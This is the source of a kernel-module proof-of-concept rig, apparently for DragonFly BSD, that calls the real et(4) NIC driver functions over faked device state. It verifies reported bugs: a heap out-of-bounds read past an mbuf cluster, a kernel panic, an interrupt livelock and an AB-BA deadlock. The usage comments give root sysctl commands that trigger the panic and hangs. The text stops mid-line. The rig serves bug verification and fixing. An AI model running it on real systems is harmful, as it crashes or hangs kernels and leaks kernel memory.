/* * dfet_poc.c - DF-4055 / DF-4056 / DF-4057 combined verification rig for * sys/dev/netif/et/if_et.c (Agere ET131x, "et(4)"). * * EVIDENCE CLASS: production-handler KLD dispatch (DF-4106 vge / * DF-4266 wb precedent). The guest has no ET131x NIC, but `device et' * is built into X86_64_GENERIC, so the driver's real static functions * live in the running kernel image. Their addresses are resolved from * /boot/kernel/kernel with nm(1) and injected into this KLD through hex * string sysctls; the rig then calls THE KERNEL'S OWN CODE over a * fabricated post-attach softc. Nothing under test is recompiled, * copied or modified here. (et_rxeof itself does not exist as a * separate symbol - it is inlined into et_intr, whose disassembly at * +0x47d..0x58c contains the STATRING shift-16 extract and the * 0x3ff/0x400 ring-bound comparisons - so the RX findings dispatch the * REAL et_intr() with the MMIO ET_INTR_STATUS crafted to ET_INTR_RXEOF, * which is bit-exact what the interrupt path does on hardware.) * * Production code dispatched: * et_intr (contains inlined et_rxeof) S1/S3 * et_txeof S2 * et_stop, et_tick (armed via callout_reset) S4 * et_newbuf_hdr / et_newbuf_cluster ring arming (production * et_init_rx_ring:1485 loop shape) * * Fabricated post-attach state (module .bss, never freed): * - struct et_softc + real busdma rings/tags/maps, set up with the * verbatim et_dma_alloc()/et_dma_mbuf_create() call sequence * (inlined into the kernel's et_attach, so replicated here 1:1 - * this is driver SETUP, not code under test; same class as the * wb rig replicating if_attach's subqueue setup); * - rings armed by the KERNEL'S OWN et_newbuf_hdr/et_newbuf_cluster; * - fake miibus device_t whose softc is a zeroed mii_data (empty * phys list: mii_tick/mii_mediachg degenerate to no-ops, so the * real et_tick runs its full body safely - mii.c:326-334); * - real lwkt serializer as ifp->if_serializer, held across * dispatches exactly as the production interrupt context would; * - per-CPU ifdata + real ifaltq_subque (et_stop reaches * ifq_clr_oactive); * - 32 KB scratch page standing in for the MMIO BAR (et's CSR map * spans 0x0000..0x7004); bus_space mem access on x86_64 is a plain * dereference of the handle, so CSR_READ_4/CSR_WRITE_4 land in the * scratch - the "device" is simulated the only way the driver can * observe it: CSR status words + RX stat ring write-backs + frame * bytes DMA'd into the armed buffer. * * Scenarios (sysctl kern.dfet.go=N): * S1 (go=1, DF-4055) NIC write-back claims buflen=60000 for a * ring-1 buffer whose backing store is one MCLBYTES (2048) * cluster. Real et_intr -> inlined et_rxeof sets * m_len = pkthdr.len = 60000 (if_et.c:1896) after only * `buflen < ETHER_CRC_LEN' (:1892) and hands it to if_input * (:1902): the sink observes m_len=59996 after m_adj(-4) and * reads heap bytes past the 2048-byte cluster. Guest SURVIVES * (the sink controls how far the disclosure is actually read). * Repeated with fresh slots for a leak sample. * S2 (go=2, DF-4056 TX) ET_TX_DONE_POS crafted to index 600 * (ET_TX_DONE_POS_INDEX is 10-bit, ET_TX_NDESC=512: values * 512..1023 are unreachable by tbd_start_index). Real * et_txeof(sc, 0) (the et_start:1223 call shape) spins; after * tbd_used hits 0 the KKASSERT at if_et.c:2050 panics: * "tbd_used > 0". PANICS the guest. * S3 (go=3, DF-4056 RX) ET_RX_STATUS rxs_stat_ring crafted to * STATRING index 2000 (ET_RXS_STATRING_INDEX is 12-bit, * ET_RX_NSTAT=1024: 1024..4095 unreachable by rsr_index). * Real et_intr -> inlined et_rxeof spins forever under the * serializer, spraying ierrors. NEVER RETURNS: run this * sysctl in the background; observe ierrors growth (stats * sysctl) and serializer capture (grab sysctl) from another * shell. Livelock + permanent serializer hold. * S4 (go=4, DF-4057) Real et_tick armed via callout_reset on * sc_tick (production arms at hz via et_init:1121; 1 tick here * for determinism). Once the tick is INPROG and parked on our * serializer (CALLOUT_INPROG, kern_timeout.c:124/567), dispatch * the REAL et_stop() under the serializer - exactly what every * production stopper does (et_detach:390, et_shutdown:428, * et_ioctl SIOCSIFFLAGS:1154, et_init:1093 first statement). * et_stop:555 callout_stop() is SYNCHRONOUS * (_callout_cancel_or_stop sync=1, ssleep "costp" * kern_timeout.c:920) while the parked et_tick blocks in * lwkt_serialize_enter (if_et.c:2070) and re-arms * unconditionally before exiting (:2080): AB-BA deadlock. * IF THE CONSOLE ENDS AT THE MARKER, IT IS PROVEN. * * Usage (root): * kldload ./dfet_poc.ko * sysctl -w kern.dfet.intr =0x$(nm /boot/kernel/kernel|awk '/ t et_intr$/{print $1}') * sysctl -w kern.dfet.txeof =0x$(nm /boot/kernel/kernel|awk '/ t et_txeof$/{print $1}') * sysctl -w kern.dfet.stop =0x$(nm /boot/kernel/kernel|awk '/ t et_stop$/{print $1}') * sysctl -w kern.dfet.tick =0x$(nm /boot/kernel/kernel|awk '/ t et_tick$/{print $1}') * sysctl -w kern.dfet.nbhdr =0x$(nm /boot/kernel/kernel|awk '/ t et_newbuf_hdr$/{print $1}') * sysctl -w kern.dfet.nbcl =0x$(nm /boot/kernel/kernel|awk '/ t et_newbuf_cluster$/{print $1}') * sysctl -w kern.dfet.go=1 # S1 (safe) * sysctl -w kern.dfet.go=2 # S2 PANIC * (sysctl -w kern.dfet.go=3 &) # S3 livelock, never returns * (sysctl -w kern.dfet.go=4 &) # S4 deadlock, never returns * sysctl kern.dfet.stats # per-cpu counters (S3 evidence) * (sysctl -w kern.dfet.grab=1 &) # serializer-capture probe (S3) */ #include #include /* __SHIFTIN/__SHIFTOUT/__BITS */ #include #include #include #include #include #include #include #include #include #include #include /* lwkt_yield */ #include #include /* struct bsd_device: fake miibus stand-in */ #include #include /* X86_64_BUS_SPACE_MEM */ #include #include #include #include #include #include #include #include /* EVL_ENCAPLEN (via if_etvar.h) */ #include #include #include #include /* kern_timeout.c:124 (backend flag, not exported in sys/callout.h) */ #define DF_CALLOUT_INPROG 0x00000080 /* ------------------------------------------------------------------ */ /* REAL kernel handlers, resolved from /boot/kernel/kernel via nm(1) */ /* ------------------------------------------------------------------ */ static void (*p_et_intr)(void *); static void (*p_et_txeof)(struct et_softc *, int); static void (*p_et_stop)(struct et_softc *); static void (*p_et_tick)(void *); static et_newbuf_t p_et_nbhdr; static et_newbuf_t p_et_nbcl; static int df_setup_done; static int df_ran[5]; static int df_delivered; /* if_input sink counter */ static int df_oob_events; /* sink saw m_len > backing store */ static const int df_rx_intr_npkts_dflt = 129; /* if_et.c:181 */ SYSCTL_NODE(_kern, OID_AUTO, dfet, CTLFLAG_RW, 0, "DF-4055/56/57 et(4) PoC rig"); /* * Address-injection sysctls take hex STRINGS ("ffffffff804b8bd0"): * sysctl_handle_int/long clamp values above INT64_MAX, which is where * every static-kernel address lives on x86_64. */ static int df_sysctl_addr(SYSCTL_HANDLER_ARGS, void **target) { char buf[32]; const char *s; int error, len; ksnprintf(buf, sizeof(buf), "0x%016llx", (unsigned long long)(uintptr_t)*target); error = SYSCTL_OUT(req, buf, strlen(buf) + 1); if (error || req->newptr == NULL) return (error); len = req->newlen - req->newidx; if (len >= (int)sizeof(buf)) return (EINVAL); error = SYSCTL_IN(req, buf, len); if (error) return (error); buf[len] = '\0'; s = buf; if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2; *target = (void *)(uintptr_t)strtoul(s, NULL, 16); return (0); } #define DF_ADDR_SYSCTL(name, var, descr) \ static int \ df_sysctl_##name(SYSCTL_HANDLER_ARGS) \ { \ return (df_sysctl_addr(oidp, arg1, arg2, req, (void **)&var)); \ } \ SYSCTL_PROC(_kern_dfet, OID_AUTO, name, \ CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df_sysctl_##name, "A", descr); DF_ADDR_SYSCTL(intr, p_et_intr, "kernel address of static et_intr() (hex; contains inlined et_rxeof)") DF_ADDR_SYSCTL(txeof, p_et_txeof, "kernel address of static et_txeof() (hex)") DF_ADDR_SYSCTL(stop, p_et_stop, "kernel address of static et_stop() (hex)") DF_ADDR_SYSCTL(tick, p_et_tick, "kernel address of static et_tick() (hex)") DF_ADDR_SYSCTL(nbhdr, p_et_nbhdr, "kernel address of static et_newbuf_hdr() (hex)") DF_ADDR_SYSCTL(nbcl, p_et_nbcl, "kernel address of static et_newbuf_cluster() (hex)") /* ------------------------------------------------------------------ */ /* Static rig state - module .bss, never freed (no teardown UAF) */ /* ------------------------------------------------------------------ */ static struct et_softc df_sc; static struct mii_data df_mii; /* zeroed: empty phys list */ static struct bsd_device df_miidev; /* .softc = &df_mii */ static uint8_t df_mmio[0x8000] __attribute__((__aligned__(PAGE_SIZE))); /* MMIO BAR stand-in (CSR map spans ..0x7004) */ static struct lwkt_serialize df_ser; static struct ifdata_pcpu df_ifdata[64]; static struct ifaltq_subque df_subq __attribute__((__aligned__(64))); static u_long df_stat(size_t off) { u_long v = 0; int i; for (i = 0; i < 64; i++) v += *(u_long *)((char *)&df_ifdata[i] + off); return (v); } #define DF_STAT(f) df_stat(__offsetof(struct ifdata_pcpu, f)) static void df_mmio_w(uint32_t reg, uint32_t val) { *(volatile uint32_t *)(df_mmio + reg) = val; } /* * Production if_input stand-in (ether_input/netisr in the real stack): * record and describe the delivered mbuf, then consume it. For DF-4055 * it reads a CONTROLLED 32 bytes starting at the first byte PAST the * 2048-byte cluster backing store - i.e. the disclosure the production * stack would hand to BPF/listeners, bounded here so the guest survives * the demonstration. */ static void df_input(struct ifnet *ifp, struct mbuf *m, const struct pktinfo *pi, int cpuid) { uint8_t *p = mtod(m, uint8_t *); int cap = (m->m_flags & M_EXT) ? m->m_ext.ext_size : MHLEN; int i; kprintf("dfet: if_input: m=%p m_len=%d pkthdr.len=%d " "M_EXT=%d ext_size=%d (backing-store capacity) rcvif=%s\n", m, m->m_len, m->m_pkthdr.len, !!(m->m_flags & M_EXT), cap, m->m_pkthdr.rcvif ? m->m_pkthdr.rcvif->if_xname : "?"); if (m->m_len >= 18) kprintf("dfet: frame[0..17]=%02x %02x %02x %02x %02x %02x " "%02x %02x %02x %02x %02x %02x %02x %02x %02x %02x " "%02x %02x\n", p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15], p[16], p[17]); if (m->m_len > cap) { /* * DF-4055: the production handler handed us an mbuf whose * m_len runs past its allocation. Demonstrate the heap * disclosure: dump 32 bytes starting at the first byte * past the backing store (adjacent kernel heap / the * neighboring cluster in the mbuf cluster arena). */ kprintf("dfet: OOB: m_len exceeds backing store by %d " "bytes; heap bytes [%d..%d) past the cluster:", m->m_len - cap, cap, cap + 32); for (i = 0; i < 32; i++) kprintf("%s%02x", (i % 8) == 0 ? " " : "", p[cap + i]); kprintf("\n"); df_oob_events++; /* * The stock network stack (and the first rig run) FREES * this mbuf - which the kernel itself rejects: * panic: "overflowed mbuf" (KASSERT M_TRAILINGSPACE(m) >= 0, * sys/kern/uipc_mbuf.c:1317, observed at et_intr+0x4bf -> * m_freem in panic.txt). Deliberately LEAK it here instead * so the multi-sample demonstration keeps the guest up for * the remaining scenarios; the free-path panic is already * captured evidence. */ df_delivered++; return; } df_delivered++; m_freem(m); } /* ------------------------------------------------------------------ */ /* Setup: fabricate the post-attach / post-init driver state */ /* ------------------------------------------------------------------ */ static int df_dma_setup(void) { struct et_softc *sc = &df_sc; struct et_txdesc_ring *tx_ring = &sc->sc_tx_ring; struct et_txstatus_data *txsd = &sc->sc_tx_status; struct et_rxstat_ring *rxst_ring = &sc->sc_rxstat_ring; struct et_rxstatus_data *rxsd = &sc->sc_rx_status; struct et_txbuf_data *tbd = &sc->sc_tx_data; int i, error; /* * Verbatim et_dma_alloc() call sequence (if_et.c:689-802; inlined * into the kernel's et_attach, hence replicated - driver SETUP, * not code under test). Jumbo allocation deliberately skipped: * et_dma_alloc allows it to fail ("NOTE: Allow it to fail", * if_et.c:795-799); without it the rings use the std table, * exactly the if_mtu < MCLBYTES default of et_init:1095. */ error = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR, BUS_SPACE_MAXSIZE_32BIT, 0, BUS_SPACE_MAXSIZE_32BIT, 0, &sc->sc_dtag); if (error) { kprintf("dfet: can't create top DMA tag: %d\n", error); return (error); } tx_ring->tr_desc = bus_dmamem_coherent_any(sc->sc_dtag, ET_ALIGN, ET_TX_RING_SIZE, BUS_DMA_WAITOK | BUS_DMA_ZERO, &tx_ring->tr_dtag, &tx_ring->tr_dmap, &tx_ring->tr_paddr); if (tx_ring->tr_desc == NULL) return (ENOMEM); txsd->txsd_status = bus_dmamem_coherent_any(sc->sc_dtag, ET_ALIGN, sizeof(uint32_t), BUS_DMA_WAITOK | BUS_DMA_ZERO, &txsd->txsd_dtag, &txsd->txsd_dmap, &txsd->txsd_paddr); if (txsd->txsd_status == NULL) return (ENOMEM); { static const uint32_t rx_ring_posreg[ET_RX_NRING] = { ET_RX_RING0_POS, ET_RX_RING1_POS }; struct et_rxdesc_ring *rx_ring; int n; for (n = 0; n < ET_RX_NRING; ++n) { rx_ring = &sc->sc_rx_ring[n]; rx_ring->rr_desc = bus_dmamem_coherent_any(sc->sc_dtag, ET_ALIGN, ET_RX_RING_SIZE, BUS_DMA_WAITOK | BUS_DMA_ZERO, &rx_ring->rr_dtag, &rx_ring->rr_dmap, &rx_ring->rr_paddr); if (rx_ring->rr_desc == NULL) return (ENOMEM); rx_ring->rr_posreg = rx_ring_posreg[n]; } } rxst_ring->rsr_stat = bus_dmamem_coherent_any(sc->sc_dtag, ET_ALIGN, ET_RXSTAT_RING_SIZE, BUS_DMA_WAITOK | BUS_DMA_ZERO, &rxst_ring->rsr_dtag, &rxst_ring->rsr_dmap, &rxst_ring->rsr_paddr); if (rxst_ring->rsr_stat == NULL) return (ENOMEM); rxsd->rxsd_status = bus_dmamem_coherent_any(sc->sc_dtag, ET_ALIGN, sizeof(struct et_rxstatus), BUS_DMA_WAITOK | BUS_DMA_ZERO, &rxsd->rxsd_dtag, &rxsd->rxsd_dmap, &rxsd->rxsd_paddr); if (rxsd->rxsd_status == NULL) return (ENOMEM); /* Verbatim et_dma_mbuf_create() (if_et.c:869-956) */ error = bus_dma_tag_create(sc->sc_dtag, 1, 0, BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR, MCLBYTES, 1, MCLBYTES, BUS_DMA_ALLOCNOW | BUS_DMA_WAITOK, &sc->sc_rxbuf_dtag); if (error) { kprintf("dfet: can't create RX mbuf DMA tag\n"); return (error); } error = bus_dmamap_create(sc->sc_rxbuf_dtag, BUS_DMA_WAITOK, &sc->sc_rxbuf_tmp_dmap); if (error) { kprintf("dfet: can't create spare mbuf DMA map\n"); return (error); } for (i = 0; i < ET_RX_NRING; ++i) { struct et_rxbuf_data *rbd = &sc->sc_rx_data[i]; int j; for (j = 0; j < ET_RX_NDESC; ++j) { error = bus_dmamap_create(sc->sc_rxbuf_dtag, BUS_DMA_WAITOK, &rbd->rbd_buf[j].rb_dmap); if (error) { kprintf("dfet: can't create %d RX map " "ring %d\n", j, i); return (error); } } rbd->rbd_softc = sc; rbd->rbd_ring = &sc->sc_rx_ring[i]; } error = bus_dma_tag_create(sc->sc_dtag, 1, 0, BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR, ET_JUMBO_FRAMELEN, ET_NSEG_MAX, MCLBYTES, BUS_DMA_ALLOCNOW | BUS_DMA_WAITOK | BUS_DMA_ONEBPAGE, &sc->sc_txbuf_dtag); if (error) { kprintf("dfet: can't create TX mbuf DMA tag\n"); return (error); } for (i = 0; i < ET_TX_NDESC; ++i) { error = bus_dmamap_create(sc->sc_txbuf_dtag, BUS_DMA_WAITOK | BUS_DMA_ONEBPAGE, &tbd->tbd_buf[i].tb_dmap); if (error) { kprintf("dfet: can't create %d TX map\n", i); return (error); } } return (0); } static void df_setup(void) { struct et_softc *sc = &df_sc; struct ifnet *ifp = &sc->arpcom.ac_if; int i, error; if (df_setup_done) return; bzero(df_mmio, sizeof(df_mmio)); bzero(df_ifdata, sizeof(df_ifdata)); callout_init(&sc->sc_tick); /* et_attach:244 */ lwkt_serialize_init(&df_ser); sc->sc_rx_intr_npkts = df_rx_intr_npkts_dflt; sc->sc_rx_intr_delay = 25; sc->sc_tx_intr_nsegs = 256; sc->sc_timer = 1000 * 1000 * 1000; df_miidev.softc = &df_mii; /* device_get_softc() -> mii */ sc->sc_miibus = &df_miidev; sc->sc_mem_bt = (bus_space_tag_t)X86_64_BUS_SPACE_MEM; sc->sc_mem_bh = (bus_space_handle_t)(uintptr_t)df_mmio; error = df_dma_setup(); if (error) kprintf("dfet: WARNING: DMA setup error %d " "(rings may be unusable)\n", error); /* et_init:1095-1101 std bufsize table assignment */ sc->sc_rx_data[0].rbd_bufsize = ET_RXDMA_CTRL_RING0_128; sc->sc_rx_data[0].rbd_newbuf = p_et_nbhdr; sc->sc_rx_data[0].rbd_jumbo = 0; sc->sc_rx_data[1].rbd_bufsize = ET_RXDMA_CTRL_RING1_2048; sc->sc_rx_data[1].rbd_newbuf = p_et_nbcl; sc->sc_rx_data[1].rbd_jumbo = 0; /* Post-ether_ifattach ifnet state (et_attach:338-349 + if_attach * subqueue setup, net/if.c:592-640 - et_stop reaches * ifq_clr_oactive -> ifsq->ifsq_hw_oactive) */ strlcpy(ifp->if_xname, "dfet0", sizeof(ifp->if_xname)); ifp->if_softc = sc; ifp->if_serializer = &df_ser; ifp->if_input = df_input; ifp->if_data_pcpu = df_ifdata; ifp->if_flags = IFF_UP | IFF_BROADCAST | IFF_SIMPLEX | IFF_MULTICAST | IFF_RUNNING; ifp->if_snd.altq_subq_cnt = 1; ifp->if_snd.altq_subq = &df_subq; ifp->if_snd.altq_ifp = ifp; ifp->if_snd.altq_maxlen = ET_TX_NDESC - 1; lwkt_serialize_init(&df_subq.ifsq_lock); df_subq.ifsq_index = 0; df_subq.ifsq_altq = &ifp->if_snd; df_subq.ifsq_ifp = ifp; df_subq.ifsq_maxlen = ifp->if_snd.altq_maxlen; df_subq.ifsq_maxbcnt = df_subq.ifsq_maxlen * MCLBYTES; df_subq.ifsq_enqueue = ifsq_classic_enqueue; df_subq.ifsq_dequeue = ifsq_classic_dequeue; df_subq.ifsq_request = ifsq_classic_request; ifq_set_ready(&ifp->if_snd); /* et_enable_txrx:1817 sets this once TX/RX is up - model it */ sc->sc_flags |= ET_FLAG_TXRX_ENABLED; kprintf("dfet: layout: sizeof(et_softc)=%#zx sc_tick=%#zx " "sc_rx_data=%#zx sc_tx_data=%#zx sc_rxstat_ring=%#zx " "sc_rx_status=%#zx if_timer=%#zx MHLEN=%d MCLBYTES=%d " "ET_RX_NSTAT=%d ET_TX_NDESC=%d\n", sizeof(struct et_softc), __offsetof(struct et_softc, sc_tick), __offsetof(struct et_softc, sc_rx_data), __offsetof(struct et_softc, sc_tx_data), __offsetof(struct et_softc, sc_rxstat_ring), __offsetof(struct et_softc, sc_rx_status), __offsetof(struct et_softc, arpcom.ac_if.if_timer), (int)MHLEN, (int)MCLBYTES, ET_RX_NSTAT, ET_TX_NDESC); kprintf("dfet: dma: tx_ring=%#jx rxst=%#jx rxsd=%#jx\n", (uintmax_t)sc->sc_tx_ring.tr_paddr, (uintmax_t)sc->sc_rxstat_ring.rsr_paddr, (uintmax_t)sc->sc_rx_status.rxsd_paddr); /* Arm both RX rings with the KERNEL'S OWN newbuf handlers - * the production et_init_rx_ring:1481-1493 loop */ { int n, j; for (n = 0; n < ET_RX_NRING; ++n) { struct et_rxbuf_data *rbd = &sc->sc_rx_data[n]; for (j = 0; j < ET_RX_NDESC; ++j) { if (rbd->rbd_newbuf(rbd, j, 1) != 0) { kprintf("dfet: newbuf ring %d idx %d " "FAILED\n", n, j); break; } } } } /* et_init_rxdma:1530-1532 / 1544-1546 / 1599-1601 SW mirror */ sc->sc_rxstat_ring.rsr_index = 0; sc->sc_rxstat_ring.rsr_wrap = 0; sc->sc_rx_ring[0].rr_index = 0; sc->sc_rx_ring[0].rr_wrap = 1; sc->sc_rx_ring[1].rr_index = 0; sc->sc_rx_ring[1].rr_wrap = 1; sc->sc_tx_ring.tr_ready_index = 0; sc->sc_tx_ring.tr_ready_wrap = 0; /* silence unused */ (void)i; df_setup_done = 1; kprintf("dfet: setup complete: rings armed by REAL et_newbuf_hdr/" "et_newbuf_cluster (2 x %d mbufs), serializer ready\n", ET_RX_NDESC); } /* ------------------------------------------------------------------ */ /* S1 (DF-4055): device length lie -> m_len past the cluster */ /* ------------------------------------------------------------------ */ static void df_s1_once(int iter, int buf_idx) { struct et_softc *sc = &df_sc; struct et_rxstat_ring *rxst_ring = &sc->sc_rxstat_ring; struct mbuf *m; uint32_t info2; uint8_t frame[64]; int i; /* reset SW mirrors to a fresh walk (et_init_rxdma state) */ rxst_ring->rsr_index = 0; rxst_ring->rsr_wrap = 0; sc->sc_rx_ring[1].rr_index = 0; sc->sc_rx_ring[1].rr_wrap = 1; /* "the chip DMAs the frame into the armed buffer" (64 bytes) */ m = sc->sc_rx_data[1].rbd_buf[buf_idx].rb_mbuf; if (m == NULL) { kprintf("dfet: S1[%d]: slot %d not armed - ABORT\n", iter, buf_idx); return; } for (i = 0; i < ETHER_ADDR_LEN; i++) frame[i] = 0xFF; frame[6] = 0x00; frame[7] = 0xDF; frame[8] = 0x40; frame[9] = 0x55; frame[10] = 0x00; frame[11] = (uint8_t)(0x01 + iter); frame[12] = 0xDF; frame[13] = 0x55; for (i = 14; i < 60; i++) frame[i] = (uint8_t)(i + iter); frame[60] = 0xDE; frame[61] = 0xAD; frame[62] = 0xBE; frame[63] = 0xEF; bcopy(frame, mtod(m, uint8_t *), sizeof(frame)); /* the NIC writes one RX stat ring entry: claims buflen=60000 for * ring 1 (backing store: ONE MCLBYTES==2048 cluster), buf N */ info2 = __SHIFTIN(60000, ET_RXST_INFO2_LEN) | __SHIFTIN(buf_idx, ET_RXST_INFO2_BUFIDX) | __SHIFTIN(1, ET_RXST_INFO2_RINGIDX); rxst_ring->rsr_stat[0].rxst_info1 = 0; rxst_ring->rsr_stat[0].rxst_info2 = info2; /* the NIC posts "1 completed stat entry at index 0, no wrap" */ sc->sc_rx_status.rxsd_status->rxs_ring = 0; sc->sc_rx_status.rxsd_status->rxs_stat_ring = __SHIFTIN(1, ET_RXS_STATRING_INDEX); /* wrap = 0 */ /* the interrupt line asserts RXEOF */ df_mmio_w(ET_INTR_STATUS, ET_INTR_RXEOF); kprintf("dfet: S1[%d]: slot=%d crafted LEN=%u BUFIDX=%d RINGIDX=1 " "(cluster ring); dispatching REAL et_intr under serializer\n", iter, buf_idx, (unsigned)__SHIFTOUT(info2, ET_RXST_INFO2_LEN), buf_idx); lwkt_serialize_enter(&df_ser); /* as et_intr context would */ p_et_intr(&df_sc); /* REAL kernel handler */ lwkt_serialize_exit(&df_ser); } static void df_s1(void) { int iter, buf_idx; bzero(df_ifdata, sizeof(df_ifdata)); df_delivered = 0; df_oob_events = 0; for (iter = 0; iter < 3; iter++) { buf_idx = iter; /* fresh slot => fresh cluster */ df_s1_once(iter, buf_idx); } kprintf("dfet: S1: delivered=%d oob_events=%d ipackets=%lu " "ierrors=%lu (MHLEN=%d MCLBYTES=%d; claimed buflen=60000)\n", df_delivered, df_oob_events, DF_STAT(ifd_ipackets), DF_STAT(ifd_ierrors), (int)MHLEN, (int)MCLBYTES); if (df_oob_events >= 3) kprintf("dfet: *** S1 BUG CONFIRMED (DF-4055): the REAL " "et_intr/inlined-et_rxeof handed if_input mbufs with " "m_len=%d on a %d-byte cluster 3/3 times - m_len runs " "%d bytes past the allocation (if_et.c:1863,1896); " "bytes past the cluster are adjacent kernel heap ***\n", 60000 - ETHER_CRC_LEN, MCLBYTES, 60000 - ETHER_CRC_LEN - MCLBYTES); else if (df_delivered == 0 && DF_STAT(ifd_ierrors) >= 3) kprintf("dfet: S1: frames DROPPED with ierrors (fix " "shape observed - length validated/clamped)\n"); else kprintf("dfet: S1: UNEXPECTED outcome - inspect markers\n"); } /* ------------------------------------------------------------------ */ /* S2 (DF-4056 TX): DONE index 600 (10-bit field vs 512 ring) */ /* ------------------------------------------------------------------ */ static void df_s2(void) { struct et_softc *sc = &df_sc; sc->sc_tx_data.tbd_start_index = 0; sc->sc_tx_data.tbd_start_wrap = 0; sc->sc_tx_data.tbd_used = 1; /* one outstanding segment */ /* the NIC posts TX DONE position: index 600, no wrap * (ET_TX_DONE_POS_INDEX is __BITS(9,0): 600 is representable, * but tbd_start_index only ever reaches ET_TX_NDESC-1=511) */ df_mmio_w(ET_TX_DONE_POS, __SHIFTIN(600, ET_TX_DONE_POS_INDEX)); kprintf("dfet: S2: ET_TX_DONE_POS index=600 wrap=0 " "(ET_TX_DONE_POS_INDEX=10-bit vs ET_TX_NDESC=%d: 600 is " "UNREACHABLE by tbd_start_index), tbd_used=1; dispatching " "REAL et_txeof(sc, 0) (et_start:1223 call shape)\n", ET_TX_NDESC); kprintf("dfet: S2: if the guest PANICS with KKASSERT " "\"tbd_used > 0\" (if_et.c:2050), DF-4056-TX is proven\n"); lwkt_serialize_enter(&df_ser); p_et_txeof(&df_sc, 0); /* REAL kernel handler */ lwkt_serialize_exit(&df_ser); /* only reachable if the walk terminated */ kprintf("dfet: S2: et_txeof RETURNED (tbd_used=%d) - no panic, " "index validated: fix shape observed\n", sc->sc_tx_data.tbd_used); } /* ------------------------------------------------------------------ */ /* S3 (DF-4056 RX): STATRING index 2000 (12-bit field vs 1024 ring) */ /* ------------------------------------------------------------------ */ static void df_s3(void) { struct et_softc *sc = &df_sc; struct et_rxstat_ring *rxst_ring = &sc->sc_rxstat_ring; int k; /* Pre-fill ALL stat entries: valid ring/buf indices so the loop * body runs silently (buf_idx tracks rr_index modulo 512; buflen 0 * -> drop path -> ierrors++ per iteration, our livelock probe) */ for (k = 0; k < ET_RX_NSTAT; ++k) { rxst_ring->rsr_stat[k].rxst_info1 = 0; rxst_ring->rsr_stat[k].rxst_info2 = __SHIFTIN(0, ET_RXST_INFO2_LEN) | __SHIFTIN(k % ET_RX_NDESC, ET_RXST_INFO2_BUFIDX) | __SHIFTIN(1, ET_RXST_INFO2_RINGIDX); } rxst_ring->rsr_index = 0; rxst_ring->rsr_wrap = 0; /* the NIC posts STATRING index 2000, no wrap * (ET_RXS_STATRING_INDEX is __BITS(27,16): 2000 is representable, * but rsr_index only ever reaches ET_RX_NSTAT-1=1023) */ sc->sc_rx_status.rxsd_status->rxs_ring = 0; sc->sc_rx_status.rxsd_status->rxs_stat_ring = __SHIFTIN(2000, ET_RXS_STATRING_INDEX); /* wrap = 0 */ df_mmio_w(ET_INTR_STATUS, ET_INTR_RXEOF); kprintf("dfet: S3: rxs_stat_ring index=2000 wrap=0 " "(ET_RXS_STATRING_INDEX=12-bit vs ET_RX_NSTAT=%d: 2000 is " "UNREACHABLE by rsr_index); dispatching REAL et_intr under " "the serializer - IF THIS SYSCTL NEVER RETURNS AND ierrors " "GROWS WITHOUT BOUND (kern.dfet.stats), DF-4056-RX LIVELOCK " "IS PROVEN (if_et.c:1851)\n", ET_RX_NSTAT); lwkt_serialize_enter(&df_ser); p_et_intr(&df_sc); /* REAL kernel handler */ lwkt_serialize_exit(&df_ser); /* only reachable if the walk terminated */ kprintf("dfet: S3: et_intr RETURNED (ierrors=%lu) - no livelock, " "index validated: fix shape observed\n", DF_STAT(ifd_ierrors)); } /* ------------------------------------------------------------------ */ /* S4 (DF-4057): et_stop sync callout_stop vs et_tick serializer enter */ /* ------------------------------------------------------------------ */ static void df_s4(void) { struct et_softc *sc = &df_sc; struct callout *c = &sc->sc_tick; int waited_ms = 0, inprog = 0; kprintf("dfet: S4: arming REAL et_tick via callout_reset(sc_tick, 1, " "et_tick, sc) (production arms at hz via et_init:1121)\n"); callout_reset(c, 1, p_et_tick, sc); /* REAL handler, armed on * this CPU's softclock */ lwkt_serialize_enter(&df_ser); /* every et_stop caller holds it: * et_detach:389, et_shutdown:427, * et_ioctl SIOCSIFFLAGS:1140->1154, * et_init:1091->1093 */ /* * Wait until softclock dequeued the tick (CALLOUT_INPROG, * kern_timeout.c:567). DELAY alone would starve the softclock * thread (lwkt threads do not preempt each other), so yield each * millisecond: the softclock thread runs the REAL et_tick, whose * first statement parks on the serializer we hold (if_et.c:2070), * latching CALLOUT_INPROG forever. */ while (waited_ms < 5000) { struct _callout *toc = c->toc; if (toc != NULL && (toc->flags & DF_CALLOUT_INPROG)) { inprog = 1; break; } DELAY(1000); lwkt_yield(); waited_ms++; } if (!inprog) { kprintf("dfet: S4: tick never went INPROG within 5000 ms " "(unexpected)\n"); callout_stop(c); lwkt_serialize_exit(&df_ser); return; } kprintf("dfet: S4: REAL et_tick is INPROG and parked on our " "serializer (lwkt_serialize_enter, if_et.c:2070) after %d ms\n", waited_ms); kprintf("dfet: S4: dispatching REAL et_stop(); its first action " "is SYNCHRONOUS callout_stop (if_et.c:555; _callout_cancel_or_" "stop sync=1 ssleep \"costp\" kern_timeout.c:920) which waits " "for the parked tick; the tick waits for our serializer; the " "tick would also re-arm UNCONDITIONALLY before exiting " "(if_et.c:2080)\n"); kprintf("dfet: *** S4: IF THIS IS THE LAST dfet LINE, THE AB-BA " "DEADLOCK (DF-4057) IS PROVEN IN THE PRODUCTION HANDLERS ***\n"); p_et_stop(&df_sc); /* REAL kernel handler */ /* only reachable if et_stop returned (fixed kernel) */ lwkt_serialize_exit(&df_ser); kprintf("dfet: S4: REAL et_stop RETURNED - NO DEADLOCK " "(fix shape observed)\n"); } /* ------------------------------------------------------------------ */ /* sysctls */ /* ------------------------------------------------------------------ */ static int df_sysctl_go(SYSCTL_HANDLER_ARGS) { int error, go = 0; error = sysctl_handle_int(oidp, &go, 0, req); if (error || req->newptr == NULL) return (error); if (go < 1 || go > 4) return (EINVAL); if (df_ran[go]) return (EPERM); if (p_et_intr == NULL || p_et_txeof == NULL || p_et_stop == NULL || p_et_tick == NULL || p_et_nbhdr == NULL || p_et_nbcl == NULL) { kprintf("dfet: kernel addresses not set - use " 